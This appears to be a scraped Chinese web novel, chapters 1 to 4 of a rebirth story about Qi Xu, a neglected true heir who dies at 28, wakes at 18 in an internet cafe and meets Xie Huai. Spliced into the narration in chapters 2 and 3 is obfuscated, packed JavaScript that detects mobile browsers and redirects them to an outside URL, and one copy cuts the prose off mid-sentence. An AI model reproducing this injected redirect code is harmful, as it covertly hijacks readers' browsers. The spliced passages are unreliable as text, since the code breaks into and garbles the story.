《狼子野心真少爷只想躺平》 1. 第 1 章 “高考结束后咱们网吧的生意怎么还变差了,平时嚷嚷着高考完要到网吧玩他个三天三夜的学生都哪去了?” 网吧老板看着只坐了寥寥几个人的大厅发出了疑问。 年中被公司辞退,每天出门上班实则到网吧呆一整天的程序员。 隔壁高中出了名打遍无敌手的校霸,承诺带着小弟光顾他的网吧,实则开一台机围了一圈小弟。 拿着相机的探店网吧美食博主,桌上一堆食物,除了一份泡面是自己点的,剩下都是他这个老板送的。 还有角落里那个把网吧当成的床的高中生,缩在角落睡了一整晚,伏在桌面上一动不动,像是死了一样。 等等,刚刚那群校霸因为玩弹珠球发出巨大的起哄声都没把那个学生吵醒。 网吧老板的胖脸一下变得煞白,想起最近某学生在网吧熬夜玩游戏猝死的新闻。 他刚接手这个网吧没几天,不会要变成案发现场吧,门口的开业花篮还没撤呢。 老板捂着狂跳不止的胸口,哆哆嗦嗦叫了一声年轻的前台:“小生,去看看角落那边的学生,他……” 值夜班的前台还有一个小时下班,睡眼惺忪朝角落走去:“知道了老板,我叫他续钱。” 网吧老板眼睁睁看着前台径直地走向生死未知的学生,嘴里剩下的话一点一点蹦出来:“看看他死没死。” “哎,同学,醒醒,还要上机吗,上机就要续钱,小本生意折腾不起……” 戚栩被人拍醒的时候,头痛欲绝。 他的额头覆上一层薄汗,瘦骨嶙峋的手背还有几个烫疤,手指紧紧地握拳,指尖泛白。 死前闪过28年来的一幕幕,在戚家村被戚国辉拳打脚踢,手臂被当做烟灰缸,饿了只能在猪圈和猪抢食,每天晚上偷偷摸摸拿着课本和老师从城里拿来的模拟卷在猪圈做题。 高考结束后,戚国辉看出了他想离家的心思,让村里的叔叔舅公把他按住,五花大绑扔到柴房。 当他以为会错失高考志愿填报时,他被认回了沈家。 他是首都沈家的儿子,当年沈家夫人下乡路上早产,他那个知道自己命不久的养母在医院故意将两个身世云泥之别的孩子调换。 戚国辉被捉住的时候一口咬定调换孩子的事并不知情,把全部罪责赖在死去的妻子上,但在沈家人来接戚栩,戚国辉满眼期待看向那辆保时捷,兴高采烈地问:我的儿子呢。 被认回沈家后,戚栩从此一步登天,多得用不完的零花钱,一柜子从未见过的名牌衣服,没吃过的山珍海味。 可他却被世人的眼光,谣言左右,变得不再像对未来充满期望的戚家村戚栩。 由于从小阶级差的教育,每个人处处拿他和沈泽予比较,行为举止,成绩,社交,甚至穿着。 —“还是留在身边亲自教养的孩子拿得出手,他竟然不会用刀叉,看着真丢人。” —“明明他才是夫人和先生的亲生孩子,为什么一点都不像他们,小少爷的钢琴弹得真好。” —“以后的宴会还是别让戚栩参加了,他不适合这种场合。” 戚栩在亲生父母面前表现得越不满他们越喜欢沈泽予,他看清楚了自己在沈家的处境,只能拼命地往上爬,总有一天他们会看到自己。 不忿和嫉妒像带刺的藤蔓在他心底里疯狂生长,鲜活跳动的心脏得扎得血肉模糊。 他努力证明自己,证明自己不比沈泽予差,证明他才是沈家的孩子,然而他所做的一切在偏爱面前不值一提,尊严被踩在脚底,狠狠地践踏。 熬了一个星期的夜,戚栩终于把手上的项目赶在了父亲五十五的生日前圆满完成,他连衣服都没换直接从公司赶回沈宅。 生日宴还没有开始,他被佣人告知父亲在楼上书房,他拿着合同一并并两步地欢喜上楼。 “爸爸,这份股份转让书我不能签,这是戚栩的东西,我不能要。” “泽予,股份是我无条件转让给你,与他无关,我才是沈氏集团的总裁,他只是一个挂名的副总裁。” “泽予,这是我默许你大哥的,小栩的野心太大,而你又太善良懂事,要是我和你妈妈离世了,我怕他容不下你,我们得给你铺好路,让你一生无忧,这样我们才走得安心。” “爸爸,你别说这些话,我签就是了,你和妈妈一定会长命百岁。” 戚栩在书房外听到里面一家人的对话竟然一点都不生气,甚至听着听着还笑了出来。 他这28年过得太可笑了,比跳脚小丑还要好笑。 戚栩决绝地转身离开,他决定递交辞职信,离开沈家,去过真正属于他的生活。 就在下楼之时,由于熬夜带来心悸一脚踩空滚下楼梯,脑袋重重撞上了墙壁,一直滚到底,双眼被鲜血糊住。 他望着头顶精美璀璨的水晶吊灯,上面的每一颗被精心打磨的水晶是沈家人,而他只是落在上面的一小粒尘埃,微不足以,轻轻一吹就被吹掉。 戚栩心死地慢慢闭上眼睛,好累啊,终于可以好好休息了。 肩膀持续被人晃着,耳边的声音逐渐不耐烦起来。 “你这个同学,赖着不起来是吧,见过吃霸王餐没见上霸王机的,我看看你叫什么名字,以后在外面写个牌子禁止你进入。” “小生别晃了……”网吧老板阻止他对死人不敬,“你去探探他的鼻息。” 小生不明所以:“探什么鼻息,人又没死。” 网吧老板:“你这么晃他都不醒,应该死了吧。” 小生的瞌睡一秒被吓醒,手抖得比按WAD还要快,手指还未伸到学生的脸上,只见学生歪着脑袋以极其诡异的姿势从桌上起身,嘴里念念有词。 诈尸了。 “啊——” 两声尖叫响彻整个网吧,吓到正在玩英雄联盟的程序员慌乱按了F键闪现,直接给对面送人头,被队友疯狂输出。 正在玩弹珠球的校霸忘了按键,弹珠直直地掉下去,被小弟取笑了一番,然后小弟挨了一个爆栗。 探店博主吓得手一抖,把泡面甩到了镜头上。 戚栩以为自己滚下楼梯摔伤了脖子,竟然这样都没死,还真是命大。 他稍微往左动一下了脖子,抽抽地疼,没忍住骂了两句。 “同学?” “同志?” “阿飘?” 以脑袋为中心,身子朝声音的方向旋转,戚栩看到了一胖一瘦的两人,身上没有穿白大褂,不是医生。 小生把手指伸到戚栩的鼻子下,感受到一阵热气,大声喊道:“活的。” 他和老板相拥抱头痛哭,笑着哭。 戚栩不可置信地看着眼前的一切,墙上花里胡哨的黑白格子瓷砖,地上又是战损风的仿真水泥地,全然是十年前网吧最流行的装修风格。 他再动一次歪脖子,疼痛证明这一切不是梦境,而是真实存在。 青鸟网吧,这是戚栩从戚家村接回首都第一次进的网吧,他记忆深刻,因为这家网吧在沈泽予就读高中的旁边。 那时他被首都的繁华迷乱了眼睛,更是被那所高中之大彻底惊到,鬼迷心窍买了一件二手校服,假装自己是海中的学生,满足填补自己读书时期的空缺,然后到网吧登录高中贴吧,在里面搜寻沈泽予的信息。 这也是他第一次从贴吧了解到沈泽予受欢迎的程度,将近一千楼都是对他的表白,气质高贵,成绩优秀,和谢家独子谢淮称为海中双剑,年纪第二和年级第一的对手,更是青梅竹马的情谊。 “同学,你没事吧。”小生关切地问道。 戚栩头昏眼胀呼出一口浊气,瘫坐在椅子上:“谢谢,我没事,我欠多少钱。” 小生说:“你之前给的5块用完了,从昨晚到现在算你包夜,一共15块。” 戚栩从兜里找出一沓皱皱巴巴的钱,这是戚栩在戚家村以外的村子偷偷干杂活攒下的钱,一个月20块,上一次网吧竟然用了20块。 28岁的戚栩忘记了18岁的戚栩脑袋在想些什么。 戚栩付完钱后,小生说:“还有15分钟到一个小时,你可以再玩15分钟。” 在两人离开后,戚栩在座位上默默地消化这一 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一只节骨分明的手撩开帘子,来人个子很高,至少有一米八五,头戴鸭舌帽,帽檐压下看不到眉眼,单手插兜嘴角噙着一抹漫不经心的笑。 白毛熟练地到前台开机,转头问:“包间吧,大厅太多……好像也没几个人。” 谢淮抬眸扫了一眼大厅,发现角落还有个未撑伞的学弟。 后门传来鬼哭狼嚎的声音,看来教导主任今日收获颇丰,按照他严谨的习惯,肯定会进来检查有没有漏网之鱼。 这不,今天还真有一个漏网之鱼。 谢淮没回答白毛的话,转而朝角落走去。 “哎,干嘛去?” 谢淮头也不回:“你先开机,我去给淋雨少年撑伞。” 白毛嘀嘀咕咕:“平时也没见你这么乐于助人。” 电脑桌被重重地敲了两下,戚栩下意识地抬头。 两双眼睛视线相撞,很明显两人都有那么一瞬间的怔愣。 戚栩其实长得很像沈家夫妇,孩子遗传了父母所有的优点这句话在他身上表现得淋淋尽致。 少年长相俊美皮肤白皙,深邃的眼眸如同湖水般清澈,这是一双多情的眼睛,一身海中的校服衬得他天真纯良,一副好学生的模样。 谢淮的视线从对方的脸上慢慢移到胸口的校标,确实是海中的校服,他在学校怎么没见过。 戚栩认出了面前的人是少年时期的谢淮,和沈泽予一同长大的竹马。 他出席人生中的第一次宴会出丑后,就再也没有参加过豪门的宴会,和谢淮也只是在学校匆匆几面之缘。 毕业之后谢淮出国深造,沈泽予也跟着去了,只是两年后沈泽予读完硕士回来,谢淮继续攻读博士。 当戚栩当上沈氏副总裁的那年,才以合作伙伴的身份在庆功宴和谢淮真正的见面。 那晚沈泽予寸步不离跟在谢淮身边。 戚栩拿着酒去和谢淮敬酒,被沈泽予给挡住了,他皱着眉嗔怪地对谢淮说:“你答应我不许喝酒了,怎么说话不算话。” 最后沈泽予一把抢过了谢淮手上的酒杯放到桌上,拉着人离开,谢淮无奈地任由沈泽予动作,朝他投以歉意的眼神。 戚栩仰头将酒杯里的酒一饮而尽,未进食的胃火辣辣地疼。 他记得上一世没在网吧见过谢淮。 谢淮见他的眼眸越发迷茫,忍不住开口提醒:“学弟,教导主任来了,你怎么还不跑?” 他看向电脑屏幕,语重心长:“别以为在看学校贴吧就不捉你,就算看学习视频也一样记过处分。” 后门的吵闹声越来越近,地中海即将闪亮登场。 戚栩依然无动于衷,像是被抽魂一样。 谢淮看着那双像猫一样的圆眼睛,脑子一抽,拉着戚栩的手腕不管三七二十一朝前门跑去。 教导主任一边说教身后的学生一边推开后门,眼前奔跑的身影格外吸引目光。 他认出了其中一人,愤怒大喊:“谢淮你给我站住,高考完还不安分,臭小子还诱拐学弟是吧。” 2. 第 2 章 已过中年的教导主任腿脚依旧利索,归功于十年如一日在学校小树林锻炼腿脚,拿着小手电一抓一个准。 不出意外,地中海从网吧追了出来,身后还跟着白毛。 “阿淮,今晚还回来吃饭吗?” 谢淮闻言还游刃有余朝白毛比了OK的手势。 教导主任一边追一边喊话:“同学,放下屠刀立地成佛,别让谢淮带坏了,我见你面生应该是第一次犯,处罚不会太严重,写检讨警告而已,要是被我捉住了,那就另当别论。” 谢淮感觉到身后的人脚步慢了下来,似乎相信了地中海的话术,转头对着他说:“别相信他,一旦停下免不了处分,我们跑到隔壁街就安全,不到一千米,坚持住。” “我说……”路边呼哧而过的大卡车打断了戚栩的话。 那只大手如同铁烙般紧紧圈住他的手腕,无法挣脱,他只能跟着谢淮继续逃亡。 跑过隔壁街,终于甩开了地中海,中年人的体力还是没有年轻人厉害。 两人气喘吁吁地倚在墙上,戚栩身上冒起了热汗,拉开校服外套,小喘着气。 戚栩好久没这么肆意地跑过,每天窝在一方办公室,对着看不完的文件,身体运动机能退化,缺乏运动,抵抗力下降,开始频繁生一些小病。 跑一跑,他有了现在十八岁的实感,少年的戚栩虽然瘦,但经常干杂活,不管体力和力气都比28岁的戚栩强,稍微歇息就能恢复。 谢淮看着对面的人红润的嘴唇微张,累得像小狗吐舌头似的,没忍住笑了出来:“学弟,你不行啊,别顾着学习,得多锻炼身体。” 戚栩看着谢淮的眼神一言难尽:“你……” 谢淮直起身子朝戚栩走去,摘下头上的鸭舌帽盖在他头上:“不用说谢谢,我叫雷锋。” 戚栩:“……” 他完全无法相信眼前这个中二少年和十年后运筹帷幄的谢淮是同一个人。 谢淮隔着鸭舌帽按住戚栩的脑袋,用认真地语气劝导这位逃课上网的学弟:“好好学习,天天向上,记得把我的英雄事迹写进高考作文。” 戚栩:“……” 他被按得抬不起头,一手把脑袋上的手拍下去。 当戚栩抬头时,谢淮迈着他的长腿潇洒地离开。 一副做好事不留名的姿态。 但留下了帽子。 戚栩拿下鸭舌帽,是某大牌的棒球帽,价值四位数。 如果是18岁的戚栩肯定以为这只是一顶普通的帽子,也根本无法理解为什么要花四位数买一顶帽子。 等戚栩彻底回过神来才感觉到饥肠辘辘,他在附近找了一家早餐店点了一碗牛肉面。 面一上桌,他埋头苦干,三下五除二解决了一碗面,之后还再点了一份牛肉锅贴。 少年人的饭量大,一碗面条下肚只有六分饱。 在等锅贴时,戚栩从口袋里拿出当下最新款的水果手机,沈卓海的助理一到戚家村就给了他这部手机。 回首都的路上,戚栩用这部手机和远在德国的沈卓海,沈枫凯和曾云通过话。 高考结束,沈家人陪着沈泽予出国旅游,把寻找亲儿子的事全权交给一个助理来办。 通话的时间是一个星期以前,算算时间也该回来了。 戚栩用手机下载了WX和注册账号,他下意识地点开朋友圈,空白一片,一个好友都没有。 以前也没有几个,他性格阴郁,上了大学后一心学习,和舍友没有过多的交流,一个人独来独往了四年。 毕业后,他又一心扑在了工作上,WX上都是客户,合作伙伴,每逢深夜他总是习惯打开朋友圈去看别人的生活,当然也会刷到沈泽予丰富多彩的朋友圈。 他已经不太记得沈泽予发的内容,但某天文案里有一句话让他羡慕—— 世界这么大,家人让我多去看看。 当时他也产生了去看看的想法,但只存在了一秒,被迅速压下。 现在来看沈家那一亩三分地在偌大的世界面前根本不值得一提。 不公的对待犹如一把熊熊烈火在心中燃烧,愤怒和不甘无处宣发,站在沈泽予之上已经成为他的执念。 最后的结果亦是如此,他成为了沈氏的副总裁,拥有权利和金钱,但又如何,被亲生父母说狼子野心,和亲生大哥反目成仇。 他的人生被冠上了沈家之名,被世俗所操控,脱离原来的轨道,撞上冰山,历经万劫不复。 牛肉锅贴上来,戚栩收起手机专心吃早餐。 吃饱喝足后,戚栩把身上的校服脱下来丢了,然后熟练地坐公交车回沈宅。 庄园大门的安保人员认得戚栩,迅速地给他放行。 主人家发生了如此大的事,佣人们私下都在讨论,堵不住悠悠之口。 搭乘庄园观光车一路畅通无阻,戚栩在后座饶有兴致地看风景。 他从来没好好看过庄园,每一次回沈宅都像要去战斗一样,无心注意其他事物。 戚栩走进别墅门口,佣人们正在前院浇花清洁。 有人注意到戚栩回来了,敷衍地朝他问好:“戚栩少爷。” 18岁的戚栩听到这一声少爷变得诚惶诚恐,让对方不要叫他少爷。 他那时所谓的谦虚,在佣人面前却成了对比的依据,真少爷畏畏缩缩,假少爷自信从容。 戚栩无视他们,径直地走进别墅。 佣人面面相觑,怎么和前几天不一样。 戚栩停下脚步,并未转头去看他们:“中午不用敲门叫我吃饭。” 佣人迟迟没有回应,戚栩继而转头,扫了一眼他们。 轻飘飘的一眼,落在身上仿佛有实感。 佣人结巴着应下:“好的,戚栩少爷。” 戚栩回到房间泡了个热水澡,穿着睡衣出来把空调调到合适的温度,关上遮光帘,房间立即变得昏暗。 他躺在床上,调整好睡觉的姿势,头往左转,发现脖子不痛了。 早上跑的那一遭治好了他的歪脖子。 中二少年还是华佗在世。 戚栩扯了扯嘴角,阖上眼睛,困意来袭。 上一世的熬夜带到了这一世。 重生回来的第一天,戚栩从早上9点睡到了傍晚7点,睡得格外的沉,中途没有醒过。 直到楼下传来吵杂声,戚栩才迷迷糊糊地睁开眼睛,望着漆黑的房间放空中。 一觉睡醒没在天堂,他还在18岁的世界。 戚栩还以为上天看在他一辈子没做过亏心事的份上,送他一份18岁一日游的临终礼物。 真正的重来一世,他得用多少功德来还。 戚栩在楼下欢声笑语的时候穿着拖鞋踢踏着下楼。 一家四口其乐融融,沈泽予坐在沈家夫妇的中间,沈枫凯坐在单人沙发上一脸宠溺地看着沈泽予。 “我给阿淮带了礼物,也不知道他喜不喜欢。” 18岁的沈泽予穿着白色长衫外面套着一件黑色V领背心,青春阳光,举手投足皆是贵气,初长成人。 沈枫凯说:“你俩一同长大,他喜欢什么你最了解了,18岁成人生日你给他送了自己设计拼造的汽车模型,他不是放在了房间最显眼的位置么。” 沈泽予不知想到什么,垂眸满眼落寞:“可是现在不一样了,没有人会喜欢我。” 沈泽予在得知自己不是沈家儿子的时候正在海边冲浪,早上玩得尽兴,晚上知道这件事备受打击,吹了一晚上的风,第二天起了发高烧。 一家人轮流照顾他,高烧中的沈泽予脆弱无助,梦魇嘴里喊着“爸爸妈妈,哥哥,不要走,我是泽予,你们不要我了吗”。 从小看着长大的孩子,天骄之子,永远都是意气风发,哪曾这个样子过,三人看到沈泽予哭得停不下来心中不忍。 家中的亲生儿子等着他们,这边又是养在身边18年的儿子。 沈凯枫说这趟高考之旅是他们应允了泽予,也是一家四口久违的旅行,这一个星期好好地陪着泽予,戚栩那边我让陈助去接。 就这样在国外的一个星期沈家人从未在沈泽予面前提过戚栩,宛如换子之事从未发生过。 曾云听不得沈泽予说什么和以前不一样,搂着他的肩膀顿时红了眼圈:“你永远都是妈妈的孩子,我们永远都是一家人。” 沈卓海故作严肃地说:“不要再说离开沈家的话,这样很伤你妈妈的心,那种地方和你没有关系。” 沈泽予想到视频里的戚家村,他从来没有见过这么穷这么落后的地方,原来那才是他的家,想到那个满嘴黄牙,嘴上都是污言秽语的中年男人他下意识地抖了抖。 “可是我身上流着不是你们的血液,是脏的。” 回到家后,沈泽予越来越有这个地方不属于他的实感,佣人叫他的时候不再是小少爷,而是泽予少爷。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15122214|164276||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “他们都说我抢了别人的一切,顶替了他的人生,在这里鸠占鹊巢了18年。” 沈枫凯先是安慰了沈泽予几句,再呵斥家里的佣人:“以后谁在家里说这些话被我发现了,去管家那领辞退信” 佣人们哪有胆子讨论主人家的事,也只敢说说戚栩这位刚回来没脾气的少爷,他们大气不敢出,低头应声。 戚栩站在楼梯口心如止水看完这一切。 上一世他回到沈家后期待着和亲生父母相见,在得知父母陪着沈泽予在德国没回来时,眼底一片冷然,难道沈泽予比他这个亲生儿子还重要吗。 一家四口回到家后,沈泽予看到他立即红着眼眶拉着行李转头执意离开。 所有人都在阻止他,劝说他,全部心思都放在了他身上。 那一刻戚栩心中的不满瞬间爆发。 “他本来就不是这个家的儿子,为什么你们个个都要留他,让他回戚家村,和戚国辉生活在一起。” 父母脸上全然是失望,沈枫凯眉目阴沉更是直接怒斥他,从相见的那一刻,他们的关系注定无法缝合。 “请问一下。”戚栩开口打断了一家四口的美满。 所有人看向声音来源,戚栩的出现让他们惊讶。 沈泽予害怕地往曾云身边缩了缩,曾云轻轻拍着他的手安慰,沈枫凯起身挡在了父母和弟弟面前。 不知道的还以为戚栩是什么洪水野兽,会伤害沈泽予。 戚栩继续说:“什么时候可以吃饭?” 沈家人似乎被惊到了,无言看着戚栩,最后还是佣人说晚餐已经备好了。 没有血亲相认的喜庆,也没有一家团聚的幸福。 围绕着他们只有无奈,不适和尴尬,不像一家人,戚栩看着反倒成了借宿的。 穿着睡衣的戚栩晃荡进餐厅,打开冰箱拿了一瓶矿泉水,一口气喝了大半瓶,转身发现一家四口还在看着他。 戚栩抬了抬手,语气平静:“你们继续。” 戚栩的此番举动在沈家人面前是在抗议,控诉着为什么把他扔在家里一个星期,为什么要陪着那个毫无血缘的关系的沈泽予。 刚成年的少年,为了发泄自己的不满所做的一切都是那么幼稚。 沈枫凯皱眉看着戚栩,又转头看了一眼父母,戚栩的态度和想象中的不一样,过于平淡,父母还不知道怎么面对他,满眼的愧疚感,明显被戚栩的小把戏给拿捏了。 “戚栩。”沈枫凯作为沈家长子,需要出来主持大局,“初见长辈怎么不和他们打招呼。” 戚栩歪了一下脑袋,输入指令般一一打招呼:“爸爸,妈妈,大哥。” 他慢慢看向沈泽予,朝他笑了笑:“弟弟。” 沈泽予看到戚栩的那一刻,心里不是滋味,就算没有亲子鉴定,戚栩的长相一看就是沈家人,眉眼很像妈妈,常被爸爸说很美的琥珀色的眼眸。 这个人才是真正的沈家少爷,他是冒牌的,他即将会失去拥有的一切回到那个落后偏僻的小山村。 沈泽予忽然站起身,对着戚栩大喊:“你放心,我不会抢你的东西,你也别向爸爸妈妈发脾气,我现在就离开这里。” 还是发生了和上一世一样的场景,沈家夫妇甚至都没和戚栩说上一句话,连忙拦着沈泽予。 “这么晚了你能去哪里?” “我去阿淮家借住,秦阿姨说谢家永远都会为我留一个房间。” “你让他走,看看能走去哪里?” “说什么呢老沈,你儿子前段时间才大病一场,要是再晕倒可怎么办。” 戚栩随意坐在餐厅的椅子,倚着靠背,拿起桌上的苹果一边吃一边观看这场已经注定结局的家庭闹剧。 “弟弟,吃完饭再走吧。” 沈泽予:“……” 最后由沈枫凯出手,将沈泽予按在怀里,沈泽予对着他拳打脚踢,折腾累了,沈家夫妇被安抚下来。 十五分钟后,五人落座在餐厅。 沈家夫妇身心疲惫,并没有心思用餐,奈何这是第一次他们一家五口见面齐聚,不得不提起精神。 “小栩饿了吧,多吃一点。” 沈泽予正在赌气,耷拉着脑袋一口饭都没有吃。 沈枫凯喝了几口酒,一直沉默不语。 戚栩听话地埋头苦吃,吃完烤鸡腿吃烤鸭,甚至戴上手套开始吃帝王蟹,面前的骨碟换了一次又一次。 3. 第 3 章 吃到差不多九分饱,戚栩终于放下了筷子,自顾自拿起沈枫凯面前的酒给自己倒了一杯。 沈卓海和曾云再次惊讶地看着他。 曾云小心翼翼地喊了一声:“小栩。” 戚栩给自己倒完酒后给沈家夫妇倒上:“爸妈,你们也喝点?” 曾云看到因倒酒的动作袖子往上抽露出的手臂,上面有好几个被烫伤的疤痕。 浅褐色的,在周围白皙的皮肤下格外的显眼。 在衣服下,也不知道还有多少她不知道的伤疤。 在戚家村那种地方,被戚国辉那样的人教养着,18年来戚栩到底经历了什么。 沈泽予闻声抬头:“爸妈身体不好,不能喝酒。” 曾云抹了一下眼角:“没关系的。” 沈泽予坚持:“医生说了不能喝酒。” 不知怎的,戚栩再次想起沈泽予当初不让谢淮和他敬酒的一幕。 底气十足,所有人都可以为他撑腰,都是他坚实的后背。 戚栩“哦”了一声,将刚倒的两杯酒全部倒进自己的酒杯里,漫不经心:“还是得遵医嘱,弟弟还小,需要人照顾。” 沈泽予不喜欢戚栩用这种语气和他说话,听完之后像一颗石头堵在了心口让他喘不上气,明明两人都是同一天出生,分得这么清楚干什么。 沈枫凯依旧沉默着,不过看向戚栩的眼神多了一份探究。 这个弟弟把野心藏了起来,多了一份隐忍,这倒比无理取闹有用多了。 曾云递给沈泽予和戚栩一份礼盒:“这是我给你们准备的礼物。” 沈泽予欣喜道:“妈妈,你什么时候偷偷背着我准备了礼物。” 戚栩已经知道这里面是什么,因为他曾经不屑地拒绝过。 他双手接过:“谢谢妈妈。” 曾云说:“你们打开看喜不喜欢,这是两颗蓝宝石,希望你们作为沈家后代在未来的日子携手并肩一同前进。” 沈泽予听到这一番话打开盒子的手一顿,又盖起来:“妈妈,我已经有很多宝石了,我可以捐赠出去给山区的孩子建学校吗?有很多比我小的人因为地区落后没有书读,很可怜。” 沈枫凯欣慰道:“你不是最喜欢宝石么,留着吧,公司有慈善协会,正在为山区建设投入捐助。” 沈泽予挽着曾云的手,眼神坚定:“妈妈,我也想出一份力。” 曾云温柔揉了揉沈泽予的头:“好,都听你的。” 这是戚栩18年来第一次收到礼物,目不转睛地看着蓝宝石,晶莹剔透像玻璃似的。 他自小就喜欢收集玻璃珠子,戚国辉不会给他钱,过年时收的红包也被抢去,他只能每天帮小卖部老板扫门口的瓜子壳,扫把比戚栩还高,扫一个星期可以得到一颗玻璃珠子。 那时的戚栩宛如看到了人生宝石,眼睛放着光,但听到沈泽予无私奉献的话,他冷笑了一声,把宝石扔到桌面说我不要,一起拿去捐了吧。 “妈妈。”戚栩眼眸清明,比手中的蓝宝石还要透彻。 曾云回:“怎么了,小栩。” 戚栩笑了笑,真情实感地说:“可以给我买个保险柜装宝石吗?” 餐卓上的人纷纷怔愣。 沈卓海开口:“也不是什么贵重的东西,自己收着就好。” 戚栩说:“没见过,怕弄丢了。” 最后保险柜还是没有给戚栩买,因为沈家人觉得没必要,蓝宝石才多少钱。 沈家夫妇没在餐厅逗留多久,晚餐过后就上楼休息了,沈泽予扫了戚栩一眼,也上楼去了。 餐厅只剩下沈枫凯和戚栩。 戚栩有一口没一口地喝着酒,沈枫凯看到他熟练地晃着高脚杯,动作优雅,倒也不像是第一次喝。 也是,初来乍到好奇心大,可能趁他们不在的时候偷偷开了酒柜上的酒来喝。 戚栩注意到沈枫凯的视线,继续无视,拿着酒杯起身离开。 刚走一步就听到沈枫凯说:“我是家里的大哥,你和泽予都是我的弟弟,以后有什么事可以来找我,爸妈年龄大,不能让他们样样操劳。” 在沈家人中戚栩最不喜欢和沈枫凯相处,这个人很多时候先入为主,将自己的理解带到他的身上。 戚栩没收蓝宝石,晚餐结束后沈枫凯对他说:“不用什么都跟着泽予学,你俩是不一样的,你喜欢就自己留着,家里不缺这么一颗东西。” 戚栩忍受不了他这么说话,当场回怼,两人几乎每次见面都会大吵一架。 被父母知道后,沈枫凯又作为大哥出来说话,说他从小野大,性格亦是如此,做哥哥的不和他计较。 戚栩抿了一口酒,心平气和:“我没什么事需要找你,也不需要找他们,反倒是你们,没别的事也别来找我,大家井水不犯河水,好吗。” 不等沈枫凯回答,戚栩上楼了回房间。 刚刚他顺手拿了两个杯子,走出阳台看了一眼月亮的方向,把高脚杯的酒分别倒在两个杯子上。 不同的酒杯装上葡萄酒,摆放在对着月亮的位置, 一场前无古人后无来者的祭拜开始。 重生回来的第一天,戚栩想了又想,还是要感谢上天,手上没有别祭拜东西,只能倒三杯酒临时应对。 戚栩双手搭在栏杆上,仰头去看被乌云遮了一半的月亮,自言自语:“等我好起来了,一定用大鱼大肉,山珍海味招待你。” 夜色浓重,光线迷离昏暗,晚风吹动了额前的碎发,在他的身上看到了寂静,飘忽,空有实体,实则里面荒芜一片。 头顶的乌云散去,皎皎明月挂在天空,繁星点点,一抹圣洁洒落在戚栩身上,逐一把空虚的部分一点点填满拼凑。 片刻,戚栩拿起祭拜完的酒一饮而尽:“该我喝了,别浪费。” —— 微醺过后的戚栩睡得格外香甜,一睁眼就是翌日的十点,势必要把上一世没睡够的觉全部睡回来。 衣柜里都是管家给他准备的衣服,戚栩随便套了件黑色卫衣下楼。 今日任务他要到银行办张银行卡,顺便买点必需品。 沈泽予在楼下前院陪着曾云栽花,随时递上她所需的东西,一直都是个贴心小棉袄。 曾云用手帕着沈泽予擦汗,这孩子从小就晒不得太阳,一晒满脸通红。 “不用在这里陪着我,旅游时不是给你的朋友们带了手信吗,怎么不邀请他们来家里玩。” 沈泽予任由曾云动作:“朋友什么时候都可以见,我现在想在家陪你。” 曾云被哄得心花怒放,大儿子和丈夫忙于事业,只有小儿子陪伴在她左右,偶尔有点小脾气,但处处会为她着想,每年在她的生日费尽心思和大儿子商量着给她制造惊喜。 这让她如何舍得放弃亲手养大的孩子,把他交到那种人手上。 戚栩每次下楼都能撞上其乐融融的时刻,他习以为常。 曾云一见到戚栩连忙放下帮沈泽予擦汗的手:“小栩,起床了?” 戚栩自若地朝她问好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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这张卡里面有将近八百万,上一世他并没有收下,事后无意听到沈泽予和别人打电话才得知。 “我妈给了他一张八百万的卡,他看了我一眼没有收,一看就是故意的,想拉我仇恨。” 不知道对面回了什么,沈泽予说:“如果他想要我的东西,我全部都可以给他。” 戚栩没要那张卡,但上学后曾云都会往他的银行卡里打生活费,算起来也差不多这个数。 他没什么购买欲,没有社交活动,每天在校园里也用不了多少钱,直到毕业,零花钱也只用了冰山一角。 戚栩走进了前世光顾过,给沈卓海买生日礼物的古玩店,这里的老板是戚栩为数不多的朋友之一。 因为戚栩不会讲价,古玩店老板赚得太多良心过意不去,给戚栩打了八五折,含泪赚了二十万。 店里一有上新老板就会通知戚栩,一来一往两人还真聊到一起了。 这也是沈家人不会阻止他去的地方之一,他有空都会到古玩店坐会儿,喝茶,有时候还会带走一样小物品。 也不知道十年前的老秦留了胡子没有。 收银台趴着一位正在午睡的年轻人,听到铃铛响的声音,迷迷糊糊起身,随手撩了一下压塌的头发,懒散道:“欢迎光临,本店一律不讲价,觉得有眼缘就带走,过了这村没这店。” 戚栩听到熟悉的声音愣在了门口。 年轻人见客人迟迟没有进来,双手撑着桌子探头查看。 同样怔愣了两秒,随后挑眉: “学弟,今天不上网,改成逃课来买古董?” 4. 第 4 章 —“我家里有一个小辈,你俩都是工作狂肯定有共同话题,不过他在国外,等他回来了一定介绍你认识。” —“老戚,现在有空吗?来我店里一趟,我之前和你说的家里小辈回来了,过来认识一下,一起吃个饭。” —“你出差了啊,周末也要工作,你那破副总职位收拾收拾扔了吧,没点自由,过来我这边当个活招牌自在多了,起码每天能睡到自然醒。” —“哎呦,赶巧得很,你两前后脚,你刚飞回来,他早上刚飞走。” 少年人穿着白色短T,双手撑在桌面单薄却具有爆发力的肌肉紧绷,手臂上的血管清晰可见,脖子上挂着银色无线头戴耳机,桀骜不驯满身的少年气,正一脸意气风发看着他笑。 戚栩反手关门,先是否认了学弟这个身份:“我不是学弟,高三毕业了。” 谢淮饶有兴致地问:“都放假了你穿着校服去网吧干什么?想体验一下你逃他追插翅难飞的乐趣?” 戚栩没回答他的话,悠哉地开始逛起古玩店。 谢淮见戚栩不说话,朝他走了过去,再次认真打量眼前的人。 戚栩对目光很敏感,些许是上一世接触过各色各异的眼神,练就了浑身上下都长眼睛的技能。 谢淮的目光过于坦荡,他似乎不觉得自己在偷看,而是光明正大地看。 戚栩并未感到眼神中有异样的情绪,很清澈像纯净水。 “同学,我们好像没有在学校见过。” 